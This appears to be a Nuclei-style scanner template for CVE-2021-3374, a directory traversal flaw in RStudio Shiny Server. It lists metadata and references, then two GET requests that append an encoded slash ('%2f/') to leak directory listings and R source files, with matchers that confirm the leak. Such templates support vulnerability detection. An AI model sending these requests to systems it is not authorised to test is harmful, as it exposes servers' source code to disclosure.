37 lines
1.1 KiB
YAML
37 lines
1.1 KiB
YAML
id: CVE-2021-3374
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info:
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name: Rstudio Shiny Server Directory Traversal
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author: geeknik
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severity: medium
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description: Rstudio Shiny-Server prior to 1.5.16 is vulnerable to directory traversal and source code leakage. This can be exploited by appending an encoded slash to the URL.
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reference:
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- https://github.com/colemanjp/rstudio-shiny-server-directory-traversal-source-code-leak
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- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
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- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-3374
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cwe-id: CWE-22
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tags: cve,cve2021,rstudio,traversal
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/%2f/"
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- "{{BaseURL}}/sample-apps/hello/%2f/"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "Index of /"
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- type: regex
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part: body
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regex:
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- "[A-Za-z].*\\.R"
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